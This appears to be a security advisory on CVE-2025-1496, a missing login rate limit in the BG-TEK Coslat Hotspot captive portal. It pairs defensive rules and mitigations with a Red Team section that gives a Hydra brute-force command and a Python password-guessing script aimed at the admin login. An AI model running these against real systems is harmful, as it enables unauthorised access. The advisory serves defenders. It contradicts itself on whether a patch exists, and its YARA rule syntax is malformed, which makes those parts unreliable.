CVE-2025-1496

Executive Summary

CVE-2025-1496 identifies a critical security flaw in BG-TEK Coslat Hotspot, a captive portal solution used for managing public Wi-Fi access. The vulnerability is categorized as an Improper Restriction of Excessive Authentication Attempts (CWE-307), which allows an attacker to perform password brute-force attacks and authentication abuse against the hotspot's login interface. With a CVSS score of 6.5 (Medium), this vulnerability enables unauthorized access to the network, potentially leading to data interception, session hijacking, or further lateral movement within the network. The affected versions are all releases prior to 6.26.0.R.20250227. No public exploit code or proof-of-concept (PoC) is currently available, and the patch status remains unknown, indicating that users must rely on vendor advisories or manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no privileges, low complexity) and the potential for brute-force attacks make this a significant risk for organizations using Coslat Hotspot in public or semi-public environments.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of BG-TEK Coslat Hotspot. The system fails to implement proper rate limiting or account lockout policies after repeated failed login attempts. This allows an attacker to systematically guess passwords for any user account (e.g., admin, guest) without triggering any defensive measures.

Attack Flow:

1. The attacker identifies a Coslat Hotspot instance (e.g., via Shodan or network scanning).
2. Using a tool like Hydra or a custom script, the attacker sends a high volume of login requests to the hotspot's authentication endpoint.
3. Since there is no restriction on the number of attempts, the attacker can iterate through common passwords or use a wordlist.
4. Upon successful authentication, the attacker gains access to the hotspot's management interface or user session, potentially allowing them to modify settings, intercept traffic, or pivot to internal networks.

Impact:

• Authentication Abuse: Attackers can bypass access controls and gain unauthorized network access.
• Credential Harvesting: Successful brute-force attacks reveal valid credentials, which may be reused across other systems.
• Lateral Movement: Once inside the network, attackers can scan for other vulnerable devices or services.

Vulnerable vs. Patched Code

Since no official patch or source code is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

# Example of vulnerable authentication handler
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    if authenticate(username, password):
        return redirect('/dashboard')
    else:
        return render('login.html', error='Invalid credentials')

No rate limiting or account lockout is implemented.

Patched Code (Conceptual):

# Example of patched authentication handler with rate limiting
from django.core.cache import cache

def login(request):
    ip = request.META['REMOTE_ADDR']
    attempts = cache.get(f'login_attempts_{ip}', 0)
    if attempts >= 5:
        return render('login.html', error='Too many attempts. Try again later.')
    
    username = request.POST['username']
    password = request.POST['password']
    if authenticate(username, password):
        cache.delete(f'login_attempts_{ip}')
        return redirect('/dashboard')
    else:
        cache.set(f'login_attempts_{ip}', attempts + 1, timeout=300)
        return render('login.html', error='Invalid credentials')

The patched version implements IP-based rate limiting and temporary lockout after 5 failed attempts.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target Coslat Hotspot instance (version < 6.26.0.R.20250227)
• A tool for brute-forcing (e.g., Hydra, Medusa, or custom Python script)
• A wordlist of common passwords (e.g., rockyou.txt)

Step-by-Step Exploitation:

1. Identify the target: Use Shodan or Nmap to find Coslat Hotspot instances.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Enumerate login endpoint: Use a browser or curl to find the login page.

   curl -s http://<target_ip>/login | grep -i "action"
   

3. Launch brute-force attack with Hydra:

   hydra -l admin -P /path/to/wordlist.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
   

4. Monitor for success: Hydra will output valid credentials when found.
5. Post-exploitation: Use the obtained credentials to log in and explore the management interface.

Custom Python Script (Example):

import requests

target = "http://<target_ip>/login"
wordlist = ["password123", "admin", "123456", "letmein"]

for password in wordlist:
    data = {"username": "admin", "password": password}
    response = requests.post(target, data=data)
    if "Invalid credentials" not in response.text:
        print(f"Found password: {password}")
        break

Blue Team (Defense & Detection)

Detection Strategies:

• Monitor for multiple failed login attempts from the same IP address within a short time window.
• Alert on login attempts using common usernames (e.g., admin, root, guest).
• Implement network-level rate limiting on the authentication endpoint.

Honeypot Setup:

• Deploy a fake Coslat Hotspot instance to capture attacker behavior.
• Log all login attempts and IP addresses for threat intelligence.

Mitigation Steps:

• Apply the vendor patch (if available) or upgrade to version 6.26.0.R.20250227 or later.
• If patching is not possible, implement a reverse proxy (e.g., Nginx) with rate limiting:

  limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
  server {
      location /login {
          limit_req zone=login burst=10 nodelay;
          proxy_pass http://backend;
      }
  }
  

Indicators of Compromise (IOCs)

Network IOCs:

• High volume of HTTP POST requests to /login endpoint from a single IP.
• Repeated login attempts with common usernames (admin, user, guest).
• Unusual traffic patterns from IPs not in the expected user base.

File IOCs:

• Log files containing multiple failed login entries (e.g., /var/log/auth.log or application logs).
• Temporary files created by brute-force tools (e.g., Hydra's hydra.restore).

System IOCs:

• Unauthorized user accounts created in the hotspot management interface.
• Changes to hotspot configuration (e.g., DNS settings, captive portal pages).

Detection Engineering

YARA Rule

rule Detect_Coslat_BruteForce_Attempts {
    meta:
        description = "Detects brute-force login attempts against BG-TEK Coslat Hotspot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1496"
    strings:
        $login_endpoint = "/login"
        $failed_msg = "Invalid credentials"
        $username_field = "username="
        $password_field = "password="
    condition:
        # of ($login_endpoint) > 10 and # of ($failed_msg) > 5
}

Sigma Rule

title: Brute-Force Login Attempts Against Coslat Hotspot
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple failed login attempts to BG-TEK Coslat Hotspot
author: Valters IT
logsource:
    category: application
    product: coslat_hotspot
detection:
    selection:
        event: login_failed
        username: 
            - 'admin'
            - 'root'
            - 'guest'
    timeframe: 5m
    condition: selection | count() > 10
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-1496 - Coslat Hotspot Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Coslat Hotspot to version 6.26.0.R.20250227 or later if a patch is released.
2. Rate Limiting: Implement IP-based rate limiting on the login endpoint using a reverse proxy or firewall.
3. Account Lockout: Enable account lockout after a configurable number of failed attempts (e.g., 5 attempts in 15 minutes).
4. CAPTCHA: Add a CAPTCHA challenge after a few failed login attempts to deter automated tools.

Long-Term Measures:

• Network Segmentation: Place the hotspot in a DMZ with limited access to internal networks.
• Logging & Monitoring: Enable detailed logging of authentication events and integrate with a SIEM for real-time alerting.
• Vulnerability Management: Regularly scan for vulnerabilities and apply patches promptly.
• User Education: Train users to use strong, unique passwords and enable multi-factor authentication (MFA) if supported.

Vendor Contact: If no patch is available, contact BG-TEK support for guidance or request a hotfix.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert